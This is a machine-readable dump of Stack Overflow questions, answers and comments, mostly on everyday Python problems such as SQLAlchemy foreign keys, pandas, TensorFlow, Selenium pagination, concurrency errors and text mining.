has body: I have a model Animals where the field locationID is a foreign key that can either be Forests.id or Zoos.id. Assume that Forests.id and Zoos.id are never the same. Question: Is this something that can be done in SqlAlchemy? Base = declarative_base() class Forests(Base): __tablename__ = 'forests' id = Column(String(16), primary_key=True) class Zoos(Base): __tablename__ = 'zoos' id = Column(String(16), primary_key=True) class Animals(Base): __tablename__ = 'animals' name = Column(String(16), primary_key=True) locationID = Column(String(16), ForeignKey(Forests.id or Zoos.id)) # something like this... More Details Found something similar in an example in Sqlalchemy docs such as class Employee(Base): __tablename__ = 'employee' id = Column(Integer, primary_key=True) name = Column(String(50)) type = Column(String(50)) __mapper_args__ = { 'polymorphic_identity':'employee', 'polymorphic_on':type } class Engineer(Employee): __tablename__ = 'engineer' id = Column(Integer, ForeignKey('employee.id'), primary_key=True) engineer_name = Column(String(30)) __mapper_args__ = { 'polymorphic_identity':'engineer', } class Manager(Employee): __tablename__ = 'manager' id = Column(Integer, ForeignKey('employee.id'), primary_key=True) manager_name = Column(String(30)) __mapper_args__ = { 'polymorphic_identity':'manager', } Both Engineer and Manager have foreign keys in the employee table However what I need is for Employee to have foreign key in either the engineer or the manager table, similar to the code below. Code below is just for illustration purposes, it obviously wont work class Employee(Base): __tablename__ = 'employee' id = Column(Integer, primary_key=True) name = Column(String(50)) type = Column(String(50), ForeignKey('Engineer.id') or ForeignKey('Manager.id')) class Engineer(Employee): __tablename__ = 'engineer' id = Column(Integer, primary_key=True) engineer_name = Column(String(30)) class Manager(Employee): __tablename__ = 'manager' id = Column(Integer, primary_key=True) manag…

http://stackoverflow.com/q/49586226
has title: How to remove URLs from text file when URL's status is followed by 4xx,5xx
type: AnsweredQuestion
score: 0
has body: I wanted to make requests to the URLs from a text file and then remove the URL's; having status code followed by 4xx,5xx. I have already coded that first part that is making requests to the URLs from the text file. Now only the problem I am having is how would I remove the specific URL? Here's the code I have so far: import requests file_inp = open("test.txt","r") emptylist = [] for i in file_inp: emptylist.append(i) for i in emptylist: check = requests.get(i) statuss = check.status_code if statuss == 4xx or check.status_code == 3xx: #Want to remove these url's from my test file else: print("200 OK") I would really appreciate your help since I'm a beginner :)
answer count: 1
tagged with: python-requests
has answer: http://stackoverflow.com/a/49586348
type: Question
has comment: http://stackoverflow.com/comment/86180375
tagged with: python
accepted answer: http://stackoverflow.com/a/49586348

http://stackoverflow.com/a/49596954
type: Answer
answers question: http://stackoverflow.com/q/49593080
score: 0
has comment: http://stackoverflow.com/comment/86210589
has comment: http://stackoverflow.com/comment/86210842
has comment: http://stackoverflow.com/comment/86212046
has comment: http://stackoverflow.com/comment/86211917
has body: Ok, my first ever attempt answering a stack overflow question... Your question is a bit vague, so I'll try to answer it as best I understand it. It sounds like you're asking how to prepare text prior to building SVN models, specifically how to lemmatize text input, compute word frequencies, and also create n-grams from the given string. import nltk from collections import Counter from nltk import ngrams from nltk.stem import WordNetLemmatizer # lowercase, remove punctuation, and lemmatize string def word_generator(str): wnl = WordNetLemmatizer() clean = nltk.word_tokenize(str) words = [wnl.lemmatize(word.lower()) for word in clean if word.isalpha()] for word in words: yield word # create list of freqs def freq_count(str): voc_freq = Counter() for word in word_generator(str): voc_freq[word] += 1 trimmed = sorted(voc_freq.items(), reverse=True, key=lambda x: x[1]) return trimmed # create n-grams def make_ngrams(str, n): grams = ngrams([word for word in word_generator(str)], n) return list(grams) Example 4-gram output: &gt;&gt;&gt; my_str = 'This is this string, not A great Strings not the greatest string' &gt;&gt;&gt; print(freq_count(my_str)) [('string', 3), ('this', 2), ('not', 2), ('is', 1), ('a', 1), ('great', 1), ('the', 1), ('greatest', 1)] &gt;&gt;&gt; print(make_ngrams(my_str, 4)) [('this', 'is', 'this', 'string'), ('is', 'this', 'string', 'not'), ('this', 'string', 'not', 'a'), ('string', 'not', 'a', 'great'), ('not', 'a', 'great', 'string'), ('a', 'great', 'string', 'not'), ('great', 'string', 'not', 'the'), ('string', 'not', 'the', 'greatest'), ('not', 'the', 'greatest', 'string')] Then you can do whatever you want with this, such as creating vectors.

http://stackoverflow.com/q/49448127
has title: Sum over a calculation with elements of two lists in Python
favorite count: 0
type: Question
answer count: 2
tagged with: for-loop
type: UnansweredQuestion
tagged with: sum
has comment: http://stackoverflow.com/comment/85898727
downvote count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/85898773
has comment: http://stackoverflow.com/comment/85898034
has comment: http://stackoverflow.com/comment/85898049
has comment: http://stackoverflow.com/comment/85898072
has answer: http://stackoverflow.com/a/49449296
score: 1
has answer: http://stackoverflow.com/a/49448468
has body: I need to sum from i=1 to n over (y_i-A-B*x_i)^2. A and B are fixed constants. y_i and x_i are the elements of two lists. I tried it with sum([m-A-B*n for m,n in zip(Tlog_dist,Tlog_Tb)]) but I think then over all posible pairs of numbers is summed, not just the i'th with the i'th. I looked around and saw some stuff with a for loop and enumerate but got stuck because I'm new and never worked with a loop before.
has comment: http://stackoverflow.com/comment/85898106

http://stackoverflow.com/comment/86164408
has text: good point, i added it and quoted you... You could also add your workaround here: https://stackoverflow.com/questions/49324289/reticulate-not-sharing-state-between-r-python-cells-or-python-python-cells-in-rm/49435461#49435461
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/49556037

http://stackoverflow.com/comment/86088698
type: AnswerComment
score: 0
has text: but is there any way that if i want to add two numbers for addition in test.py instead of shell ?
type: Comment
comment on: http://stackoverflow.com/a/49539701

http://stackoverflow.com/comment/85948757
type: Comment
has text: I believe TFLearn was incorporated into TensorFlow as tf.contrib.learn some time ago, and has since been expanded significantly. Within tf.contrib.learn, you can easily get AUC reported by adding tf.metrics.auc to the eval_metric_ops returned by your Estimator.
comment on: http://stackoverflow.com/q/49472557
type: QuestionComment
score: 0

http://stackoverflow.com/q/49501538
type: Question
accepted answer: http://stackoverflow.com/a/49502288
has answer: http://stackoverflow.com/a/63618923
tagged with: python
possible better answer: http://stackoverflow.com/a/49520773
has answer: http://stackoverflow.com/a/49502288
has comment: http://stackoverflow.com/comment/86008275
score: 14
tagged with: deep-learning
upvote count: 14
type: AnsweredQuestion
answer count: 3
has body: I'm trying to set up custom initializer to tf.layers.dense where I initialize kernel_initializer with a weight matrix I already have. u_1 = tf.placeholder(tf.float32, [784, 784]) first_layer_u = tf.layers.dense(X_, n_params, activation=None, kernel_initializer=u_1, bias_initializer=tf.keras.initializers.he_normal()) This is throwing error saying ValueError: If initializer is a constant, do not specify shape. Is it a problem to assign placeholder to kernel_initializer or am I missing something?
downvote count: 0
has title: Custom weight initialization tensorflow tf.layers.dense
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/86008490
has answer: http://stackoverflow.com/a/49520773
favorite count: 0
tagged with: python-3.x

http://stackoverflow.com/q/49482102
type: Question
has body: I want to create a .exe file out of a simple python file. My test file is called test.py and contains only one line of code: print("test successful") Using Anaconda Prompt, I start Python by typing "python". Then I type the following and expect it to work: C:\Users\sean\Anaconda3\Scripts\pyinstaller.exe --onefile --windowed C:\Users\sean\documents\test.py But I get the following error: SyntaxError: unexpected character after line continuation character in python Everything I've written is plain text, so I don't know what else to try. Is Anaconda Prompt the right place to try this? Just a thought...
tagged with: pyinstaller
has answer: http://stackoverflow.com/a/49482140
has comment: http://stackoverflow.com/comment/85966973
tagged with: python
has comment: http://stackoverflow.com/comment/85966989
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/85966995
has comment: http://stackoverflow.com/comment/85967024
has title: SyntaxError "unexpected character after line continuation character" when trying to create exe using PyInstaller
has comment: http://stackoverflow.com/comment/85967006
accepted answer: http://stackoverflow.com/a/49482140
answer count: 1

http://stackoverflow.com/q/49512555
type: UnansweredQuestion
answer count: 1
type: Question
tagged with: python
has body: For a test, I need to mock some slow, external calls. This is my current test setup, which looks bloated and ugly. my_obj.child_object = mock.Mock() my_obj.child_object.meth1_call = mock.Mock() my_obj.child_object.meth1_call().meth2_call = mock.Mock(return_value= [custom_list]) child_object is not available at test run, but my_obj.child_object.meth1_call().meth2_call has to be called during test and return the custom_list. Quoting Raymond Hettinger... "there must be a better way!". Any shortcut or better way compared to above setup?
has answer: http://stackoverflow.com/a/49565883
tagged with: mocking
score: 0
has title: Mock deeply nested method call

http://stackoverflow.com/q/49466794
has body: I am trying to send HTTP requests concurrently. In order to do so, I am using concurrent.futures Here is simple code: import requests from concurrent import futures data = range(10) def send_request(item): requests.get("https://httpbin.org/ip") print("Request {} complete.".format(item)) executor = futures.ThreadPoolExecutor(max_workers=25) futures_ = executor.map(send_request, data) for f in futures.as_completed(futures_): f.result() If I run it, I can see requests are sent asynchronously, which is exactly what I want to do. However, when all the requests are complete, I get following error: Request 0 complete. Request 6 complete. ... Request 7 complete. Request 9 complete. Request 3 complete. Traceback (most recent call last): File "send_thread.py", line 18, in &lt;module&gt; for f in futures.as_completed(futures_): File "/usr/local/Cellar/python3/3.6.4/Frameworks/Python.framework/Versions/3.6/lib/python3.6/concurrent/futures/_base.py", line 219, in as_completed with _AcquireFutures(fs): File "/usr/local/Cellar/python3/3.6.4/Frameworks/Python.framework/Versions/3.6/lib/python3.6/concurrent/futures/_base.py", line 146, in __enter__ future._condition.acquire() AttributeError: 'NoneType' object has no attribute '_condition' This is quite strange error. Here executor.map seems to be problematic. If I replace map with following line, it works as expected. futures_ = [executor.submit(send_request, x) for x in data] What am I missing? Tried to find difference between two, but can't seem to understand what could cause above issue. Any input would be highly appreciated.
tagged with: concurrency
favorite count: 0
type: Question
tagged with: python-3.x
score: 5
accepted answer: http://stackoverflow.com/a/49466981
tagged with: python-multithreading
has answer: http://stackoverflow.com/a/49466981
downvote count: 0
tagged with: python
type: AnsweredQuestion
has title: Why does concurrent.futures executor map throw error when using with futures.as_completed after all the futures are complete?
upvote count: 5
answer count: 1

http://stackoverflow.com/q/49498790
has title: using LDA for dimension reduction / clustering
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/86514820
has comment: http://stackoverflow.com/comment/86442582
type: Question
has comment: http://stackoverflow.com/comment/86326435
answer count: 0
downvote count: 0
upvote count: 1
type: UnansweredQuestion
tagged with: cluster-analysis
has comment: http://stackoverflow.com/comment/86540789
tagged with: text-mining
favorite count: 0
tagged with: lda
has comment: http://stackoverflow.com/comment/86514094
has body: I'm currently facing a text mining problem where my goal is to identify clusters within a corpus of short texts. The idea is, that these clusters represent some kind of technical/domain specific content which all members of the respective cluster have in common. The final evaluation of the clustering has to be made from a domain knowledge based perspetive. I worked myself through a bunch of different approaches. Topic modeling with lda seems a good one to start with. So each of my documents is represented through a mixture of different topics (which are based on the coherent occrurance of single words or n_grams) My first idea was to use the resulting topics as clusters/groups to group my documents. But one single document can consist of different topics, so I'm not sure wether this is a good idea. Furthermore, as LDA is not using a distance measure to calculate it's topics, I'm lacking some kind of metric to evalute my lda based clusters. Because of the fact, that I'm missing a given ground truth I'm bound to methods, which are not bound to a given ground truth. I used the silhouette score to evalute my clusters, but while this metric is based on distances, lda is not. I'm not sure wether it actualy makes sense. My second thought was to use the lda results as a preprocessing step for dimension reduction. On these new Input vector I could apply distance based clustering methods like agglomerative clustering, kmeans, dbscan. I also found some posts and papers, which pointed to self organizing maps to solve that kind of problem. Is this approach worth following it, compared to the methods described above? Is it a reasonable approach to use lda topics as clusters or as a preprocessing step? What are metrics to evalute non distance approaches like lda? Are there any other approaches which I should take into account?

http://stackoverflow.com/q/49495648
has answer: http://stackoverflow.com/a/49495864
tagged with: python
has comment: http://stackoverflow.com/comment/86012802
tagged with: chef-infra
has title: How to have a cron script that should call chef-databag to get username and password every time it runs?
has comment: http://stackoverflow.com/comment/85996320
answer count: 2
type: UnansweredQuestion
score: 1
has answer: http://stackoverflow.com/a/49506173
downvote count: 0
tagged with: authentication
upvote count: 1
has body: I have a cronjob which executes a python script. python script takes two parameter username and pass. for example : execute.py vijay hTbY87 Requirement is to take this username and pass from dataBag i have in chef. My instance where i need to run this cronjob is in AWS. Is there a way to have such a cronjob ?
favorite count: 0
type: Question
tagged with: databags

http://stackoverflow.com/comment/85988703
comment on: http://stackoverflow.com/q/49492600
score: 0
has text: Which is line 37? Which is 24? What is the _full_ error? It doesn't look like the code in the question is properly indented either.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/122020737
score: 1
comment on: http://stackoverflow.com/a/49512781
type: Comment
type: AnswerComment
has text: In higher version of pytorch, you'd better transfer to use torch.eye(n).bool().

http://stackoverflow.com/comment/85994028
has text: Does it have to be System Font? Are you really just trying to get the default font for the control? Because if so, maybe you should use wx.FontInfo() instead.
score: 0
comment on: http://stackoverflow.com/q/49479371
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49463439
has comment: http://stackoverflow.com/comment/85929960
has comment: http://stackoverflow.com/comment/85929864
tagged with: loops
has answer: http://stackoverflow.com/a/49463503
type: Question
tagged with: python-3.x
has body: I have a dictionary and I want a user to input a dictionary key and random float value, then those two are multiplied and the result is stored in a variable. The loop iterates for desired number of times and finally it prints the final value which is a sum of the result of every loop. This is my code: dic = {"key1":340, "key2":110, "key3":337, "key4":319, "key5":42} initial_val = 0 for keys in dic: value = str(input("insert key value")) if value == "key1": amount = float(input("enter amount")) product=dic.get("key1")*amount elif value == "key2": amount = float(input("enter amount")) product=dic.get("key2")*amount elif value == "key3": amount = float(input("enter amount")) product=dic.get("key3")*amount elif value == "key4": amount = float(input("enter amount")) product=dic.get("key4")*amount elif value == "key5": amount = float(input("enter amount")) product=dic.get("key5")*amount elif value==None: product=0 initial_val+= product if value=="end": break print(initial_val) The problem is that the code prints a value which is the sum of desired result + last iteration. I assume print (initial_val) takes initial_val += product and sums it again to the final result. What is the cause of the problem and how can I solve this?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49463531
tagged with: python
has title: How to get value after multiple loop iterations
has answer: http://stackoverflow.com/a/49463527
score: 0
answer count: 3

http://stackoverflow.com/q/49492600
type: Question
has comment: http://stackoverflow.com/comment/85989336
has comment: http://stackoverflow.com/comment/85989484
tagged with: tkinter
score: -3
has comment: http://stackoverflow.com/comment/85988703
tagged with: python
has comment: http://stackoverflow.com/comment/85989005
has title: Name 'NewPage' is not defined in object oriented programming
accepted answer: http://stackoverflow.com/a/49493150
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85988778
has answer: http://stackoverflow.com/a/49493150
has comment: http://stackoverflow.com/comment/85988761
has body: #imports from tkinter import * from tkinter import messagebox as ms import sqlite3 # make database and users (if not exists already) table at programme start up with sqlite3.connect('quit.db') as db: c = db.cursor() c.execute('CREATE TABLE IF NOT EXISTS user (username TEXT NOT NULL ,password TEX NOT NULL);') db.commit() db.close() #main Class class main: def __init__(self,master): # Window self.master = master # Some Usefull variables self.username = StringVar() self.password = StringVar() self.n_username = StringVar() self.n_password = StringVar() #Create Widgets self.widgets() def NewPage(): global NewRoot root.withdraw() # hide (close) the root/Tk window NewRoot = tk.Toplevel(root) # use the NewRoot as the root now #Login Function def login(self): with sqlite3.connect('quit.db') as db: c = db.cursor() #Find user If there is any take proper action find_user = ('SELECT * FROM user WHERE username = ? and password = ?') c.execute(find_user,[(self.username.get()),(self.password.get())]) result = c.fetchall() if result: self.logf.pack_forget() self.head['text'] = self.username.get() + '\n Logged In' self.head['pady'] = 150 root.after(2000, NewPage) else: ms.showerror('Oops!','Username Not Found.') def new_user(self): #Establish Connection with sqlite3.connect('quit.db') as db: c = db.cursor() #Find Existing username if any take proper action find_user = ('SELECT * FROM user WHERE username = ?') c.execute(find_user,[(self.username.get())]) if c.fetchall(): ms.showerror('Error!','Username Taken Try a Diffrent One.') else: ms.showinfo('Success!','Account Created!') self.log() #Create New Account insert = 'INSERT INTO user(username,password) VALUES(?,?)' c.execute(insert,[(self.n_username.get()),(self.n_password.get())]) db.commit() #Frame Packing Methords def log(self): self.username.set('') self.password.set('') self.crf.pack_forget() self.head['text'] = 'LOGIN' self.logf.pack() def cr(self): self.n_username.set('') self.n_password.set('') self.logf.pack_forget() self.he…
upvote count: 0
tagged with: sqlite
answer count: 1
tagged with: user-interface
downvote count: 3
favorite count: 0

http://stackoverflow.com/q/49568501
tagged with: python
has title: How to seperate 404 error codes subdomains from the 200 in python?
tagged with: python-2.7
score: 0
has body: Here is my code, and what I am trying to do is to seperate 400 response status codes subdomains. As you can see that I have provides three url's in subdomains list of index. Which have different status code Now What I am trying to do is to seperate the 404 error status codes from them. statuscode = [] statuscode.append(400) statuscode.append(403) statuscode.append(404) subdomains = [] subdomains.append("https://teyrtguhigkfjn.s3.amazonaws.com/") subdomains.append("http://google.com") subdomains.append("https://lasdfgfldsakjas.s3.amazonaws.com/") for x in subdomains: url = x try: req = requests.get(url) req1 = str(req.status_code) + " " + str(url) + '\n' req2 = str(req.status_code) req3 = str(url) print "\n" + str(req1) except requests.exceptions.RequestException as e: print "Can't make the request to this Subdomain " + str(url) + '\n' if statuscode in str(req1): print "\nTrying to Collect the URL's whose status is 400, 400, 403" print str(req2) + ' ' + str(req3) But I do not succeed in that. Please see the problem, and I think I know where is the problem it is in this line of the code if statuscode in str(req1):. My Guess Hope you get the problem. Thank you
answer count: 1
has answer: http://stackoverflow.com/a/49568530
type: Question
type: UnansweredQuestion

http://stackoverflow.com/comment/86165720
type: AnswerComment
has text: Thank you. Much faster indeed!
type: Comment
comment on: http://stackoverflow.com/a/49578130
score: 0

http://stackoverflow.com/a/49477430
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/49476654
has body: There seems to be a bug or some other strange behaviour in the mapping, since the subsequent calls to the mapped function receive different arguments. A solution is to manually perform the mapping taking care of the correct arguments being passed. import numpy as np; np.random.seed(42) import pandas as pd import matplotlib.pyplot as plt import seaborn as sns N = 100 categories = pd.DataFrame(np.array(["p","q"])[np.random.randint(0,2,size=[N,1])], columns=["cat"],dtype="object") data = pd.DataFrame(np.random.rand(N,2),columns=list('AB')) df = pd.concat([data,categories],axis=1) g = sns.PairGrid(df,hue="cat") g.map_diag(plt.hist) g.map_upper(sns.regplot,scatter_kws={'s':10}) def f(*args, **kwargs): if 'scatter_kws' in kwargs.keys(): kwargs['scatter_kws'].update({"color": kwargs.pop("color")}) sns.residplot(*args,**kwargs) g.map_lower(f, scatter_kws={'s':10})
upvote count: 2
score: 2
accepted answer of: http://stackoverflow.com/q/49476654
type: AcceptedAnswer

http://stackoverflow.com/q/49572035
type: Question
accepted answer: http://stackoverflow.com/a/49572080
upvote count: 2
has answer: http://stackoverflow.com/a/49572080
tagged with: python
has title: Select rows closest to a given value
score: 2
type: AnsweredQuestion
tagged with: pandas
has body: A B C 0 01:00:00 24 Andrew 1 01:00:00 28 Edd 2 01:00:00 17 Emma 3 01:00:00 10 Fred 4 02:00:00 11 Andrew 5 02:00:00 35 Edd 6 02:00:00 45 Emma 7 02:00:00 14 Fred I want to select one row per each A group, with next conditions: Select the closest B value to 15 (in the case of 01:00:00 closest value to 15 is 17; in 02:00:00, select 14). Output should be: A B C 2 01:00:00 17 Emma 7 02:00:00 14 Fred
downvote count: 0
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/85897538
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/49447925
has text: this does not have to do with `lambda`s. This has to do with [floating point arithmetic](https://stackoverflow.com/questions/588004/is-floating-point-math-broken) and integer caching (`256` is the last integer that returns `True`!)

http://stackoverflow.com/a/55208292
answers question: http://stackoverflow.com/q/49567804
type: Answer
downvote count: 0
score: 1
upvote count: 1
has body: If you're using the serverless slim option and still hit the 250MB limit, you can use the option zip: true. That keeps all packages compressed through deployment and you just have to unzip them in your handler module, as explained here: try: import unzip_requirements except ImportError: pass

http://stackoverflow.com/q/49545532
accepted answer: http://stackoverflow.com/a/49548851
upvote count: 1
tagged with: python
tagged with: selenium-webdriver
type: AnsweredQuestion
score: 1
downvote count: 0
answer count: 1
tagged with: selenium
has answer: http://stackoverflow.com/a/49548851
tagged with: google-chrome
tagged with: webdriver
favorite count: 0
has title: Selenium clicks one time, but next click returns StaleElementReferenceException
type: Question
has body: import sys import urllib2 import time from bs4 import BeautifulSoup from selenium import webdriver import string import re reload(sys) sys.setdefaultencoding('utf8') baseUrl = 'https://www.breastsurgeons.org/new_layout/membership/membersearch/index.php' driver = webdriver.Chrome('/usr/local/Cellar/chromedriver/2.36/bin/chromedriver') driver.get(baseUrl) time.sleep(20) for p in range(1,282): driver.find_element_by_xpath("//a[contains(text(),'&gt;&gt;')]").click() time.sleep(2) driver.quit() After opening the baseUrl, I manually click agree and then search for a list of physicians to show up. I want to flip through the listing. Right now Selenium only clicks the first time by finding ">>". After which it stops and gives following error. driver.find_element_by_xpath("//a[contains(text(),'&gt;&gt;')]").click() File "/Library/Python/2.7/site-packages/selenium-3.11.0-py2.7.egg/selenium/webdriver/remote/webelement.py", line 80, in click self._execute(Command.CLICK_ELEMENT) File "/Library/Python/2.7/site-packages/selenium-3.11.0-py2.7.egg/selenium/webdriver/remote/webelement.py", line 628, in _execute return self._parent.execute(command, params) File "/Library/Python/2.7/site-packages/selenium-3.11.0-py2.7.egg/selenium/webdriver/remote/webdriver.py", line 312, in execute self.error_handler.check_response(response) File "/Library/Python/2.7/site-packages/selenium-3.11.0-py2.7.egg/selenium/webdriver/remote/errorhandler.py", line 242, in check_response raise exception_class(message, screen, stacktrace) selenium.common.exceptions.StaleElementReferenceException: Message: stale element reference: element is not attached to the page document

http://stackoverflow.com/comment/85958378
type: QuestionComment
comment on: http://stackoverflow.com/q/49476210
has text: Thanks a lot. That answers my question perfectly. How would you then create a dataframe which columns are the different groups, index is dates and entries are the calculated sums?
score: 0
type: Comment

http://stackoverflow.com/q/49486943
tagged with: python
has comment: http://stackoverflow.com/comment/85976816
possible better answer: http://stackoverflow.com/a/60666247
favorite count: 0
type: Question
has body: I'm using package dfply in python which mimics the package dplyr in R. This is the simple code I'm trying to run. I have this dataset 'data' previously loaded in my environment and I just want to group for that variable. import dfply as dp data['CO_SPORTELLO']=data['CO_SPORTELLO'].apply(lambda x: str(x)) data=(data &gt;&gt; dp.group_by(X.CO_SPORTELLO)) The error I keeping getting is: NameError: name 'X' is not defined. From the package documentation: The DataFrame as it is passed through the piping operations is represented by the symbol X. It records the actions you want to take (represented by the Intention class), but does not evaluate them until the appropriate time. Operations on the DataFrame are deferred. Selecting two of the columns, for example, can be done using the symbolic X DataFrame during the piping operations. diamonds &gt;&gt; select(X.carat, X.cut) &gt;&gt; head(3) carat cut 0 0.23 Ideal 1 0.21 Premium 2 0.23 Good
accepted answer: http://stackoverflow.com/a/49487262
score: 1
has answer: http://stackoverflow.com/a/49487262
tagged with: dfply
has title: dfply - Python - X name is undefined
has answer: http://stackoverflow.com/a/60666247
type: AnsweredQuestion
answer count: 2
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/85945072
type: Comment
has text: Great. Also what about the day of shopping. I think in more detail, I want to make the matrix so that you have the names listed in column 1, columns 2 - 7 would list 1's or 0's for if they bought the food, columns 8-11 would list 1's or 0's for if they bought the drink, and then columns 12 - 17 would be the same as 2-7 but for date #2, 18-21 same as 8-11 but for date #2, 22 - 27 for date#3, and 28-31 for date#3
type: AnswerComment
comment on: http://stackoverflow.com/a/49471169
score: 0

http://stackoverflow.com/q/49572560
has answer: http://stackoverflow.com/a/49574015
tagged with: python-3.x
type: AnsweredQuestion
tagged with: encryption
downvote count: 0
has body: I came up to this problem where my RC-6 algorithm does not produce the cipher text it should (by the spec doc) well to be more clear, let me give you an example As you see when plain text and key are made out of zero-bytes it passes both tests -> cipher text and decryption text tests To clarify this even more the cipher values(both correct and wrong) ,are also ordered in little-endian fashion after encrypting. So my question is - where should I look for invalid code ? I have a feeling that it is something to do with the byte-ordering before passing it to encryption or key-scheduling functions. The values I pass to the key-scheduling and encryption functions are straightforward arrays of 32bit words (e.g. [0x00,0x10,0x00,0x00]) and then I move one straight to algorithm (which I wrote looking at the pseudo-code) so no other formatting done before that. They also start as follows : def encrypt(plaintext,S): A,C = plaintext[0],plaintext[2] B = modulus(plaintext[1]+S[0]) D = modulus(plaintext[3]+S[1]) for i in range(1,r+1): .... def keyGenerator(L): c = len(L) S = [int(0)]* (2*r+4) S[0] = P .... I could use any help.. Thank you in advance! By the way the official test vectors could be in THIS document's appendix
score: 1
upvote count: 1
tagged with: key
answer count: 1
tagged with: block-cipher
favorite count: 0
has title: RC-6 ciphertext does not match non 0 vectors
type: Question
tagged with: python
accepted answer: http://stackoverflow.com/a/49574015

http://stackoverflow.com/q/49595931
type: Question
score: -2
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/86199175
has comment: http://stackoverflow.com/comment/86200084
tagged with: dataframe
tagged with: python
has title: Read last N lines from CSV file into Pandas DataFrame
has answer: http://stackoverflow.com/a/49597175
downvote count: 3
tagged with: pandas
linked to: http://stackoverflow.com/q/20109391
type: UnansweredQuestion
upvote count: 1
has body: I have some csv files, where one line is added every hour to each file. I want to read the last 20 lines from the file and load them into a dataframe. My approach is: log_total = [pd.read_csv(f, skiprows=) for f in glob('./coins/*.csv')] How do I calculate the total number of rows from the file?
answer count: 1
favorite count: 0

http://stackoverflow.com/q/49500259
score: 0
has answer: http://stackoverflow.com/a/49500485
duplicate of: http://stackoverflow.com/q/29903025
answer count: 2
tagged with: sentiment-analysis
tagged with: pandas
has answer: http://stackoverflow.com/a/49502394
has body: I am doing a sentiment analysis project in Python (using Natural Language Processing). I already collected the data from twitter and saved it as a CSV file. The file contains tweets, which are mostly about cryptocurrency. I cleaned the data and applied sentiment analysis using classification algorithms. Since the data is clean, I want to find the most frequently used words. Here's the code that I used to import the libraries and the csv file: # importing Libraries from pandas import DataFrame, read_csv import chardet import matplotlib.pyplot as plt; plt.rcdefaults() from matplotlib import rc %matplotlib inline import pandas as pd plt.style.use('ggplot') import numpy as np import re import warnings #Visualisation import matplotlib.pyplot as plt import matplotlib import seaborn as sns from IPython.display import display from mpl_toolkits.basemap import Basemap from wordcloud import WordCloud, STOPWORDS #nltk from nltk.stem import WordNetLemmatizer from nltk.sentiment.vader import SentimentIntensityAnalyzer from nltk.sentiment.util import * from nltk import tokenize from sklearn.feature_extraction.text import TfidfVectorizer from nltk.stem.snowball import SnowballStemmer matplotlib.style.use('ggplot') pd.options.mode.chained_assignment = None warnings.filterwarnings("ignore") ## Reading CSV File and naming the object called crime ltweet=pd.read_csv("C:\\Users\\name\\Documents\\python assignment\\bitcoin1.csv",index_col = None, skipinitialspace = True) print(btweet) There is no need for me to post the other codes because they are very long. For data cleaning, I got rid of hyperlinks, RT(Retweeted), URL, Punctuation's, put text in lowercase, etc. Here's the output for the list of positive tweets for example In [35]: btweet[btweet.sentiment_type == 'POSITIVE'].Tweets.reset_index(drop = True)[0:5] Out[35]: 0 anizameddine more than just bitcoin blockchain... 1 bitcoinmagazine icymi wyoming house unanimousl... 2 bitracetoken bitrace published the smart contr... 3 unusual and…
type: Question
linked to: http://stackoverflow.com/q/33384673
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/29903025
has title: How to find Most frequently used words used on data using Python?
tagged with: python
tagged with: twitter
has comment: http://stackoverflow.com/comment/86005515
tagged with: nlp

http://stackoverflow.com/q/49522548
score: 2
upvote count: 2
downvote count: 0
tagged with: pandas
answer count: 0
has comment: http://stackoverflow.com/comment/86055302
has comment: http://stackoverflow.com/comment/86053696
has body: Noticed that Pandas fillna() and similar operations are quite slow on large datasets - (currently batch processing 250~ million rows). Particularly interested in rolling().{some function}.fillna() Is there a way to vectorize/ or improve performance on these functions?
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86092645
has title: Pandas - Vectorize / Improve performance of fillna(), ffill(), bfill()

http://stackoverflow.com/comment/85941425
type: QuestionComment
score: 0
has text: You can think of it in the following way: When you print `data` you are trying to display the value of it as a string. In your case the value is a collection of `string` elements. Each of the strings contains the `\n` character. If you want the `\n` character to be read as an escape sequence and cause a line feed, you have to pass the string itself as an argument to the print function.
type: Comment
comment on: http://stackoverflow.com/q/49469015

http://stackoverflow.com/q/49451937
accepted answer: http://stackoverflow.com/a/49453796
has body: I am trying to understand this code for flattening list: def flatten(iterable): """Recursively iterate lists and tuples. """ for elm in iterable: if isinstance(elm, (list, tuple)): for relm in flatten(elm): yield relm else: yield elm here Source: Making a flat list out of a multi-type nested list However I am not able to understand recursive statement and how control is flowing. Specially these two lines: for relm in flatten(elm): yield relm Can I get gist of how recursive is working at every iteration, that would be a great help. And Can we use some other approch to do this problem?
has title: Flattening list of list using other technique
has answer: http://stackoverflow.com/a/49452374
possible better answer: http://stackoverflow.com/a/49452374
linked to: http://stackoverflow.com/q/16301253
type: Question
tagged with: python-3.x
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/6499839
tagged with: python
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/49453796

http://stackoverflow.com/q/49455331
downvote count: 0
has body: for some reason the variable "a" in the main function changes after the function call. In spite of the fact that "a" doesn't even change within the function. Although even if it did, such changes should not affect its value outside the function, right? I am using Python 3.6, and I'm out of ideas as to why this is happening. Any help would be greatly appreciated def mhmArgSort(myNumListInput): myNumList=myNumListInput cnt=0 endCnt=len(myNumList) NumListSortedIndices=[] for cnt1 in range(len(myNumList)): smallestNum=100000000000 smallestNumIndex=0 for cnt in range(len(myNumList)): if myNumList[cnt]&lt;smallestNum: smallestNum=myNumList[cnt] smallestNumIndex=cnt NumListSortedIndices.append(smallestNumIndex) myNumList[smallestNumIndex]=100000000000 return NumListSortedIndices a=[1,2,3,4,-1,0,3] print(a) b=mhmArgSort(a) print(a) print(b) This produces the following result: [1, 2, 3, 4, -1, 0, 3] [100000000000, 100000000000, 100000000000, 100000000000, 100000000000, 100000000000, 100000000000] [4, 5, 0, 1, 2, 6, 3]
has comment: http://stackoverflow.com/comment/85913717
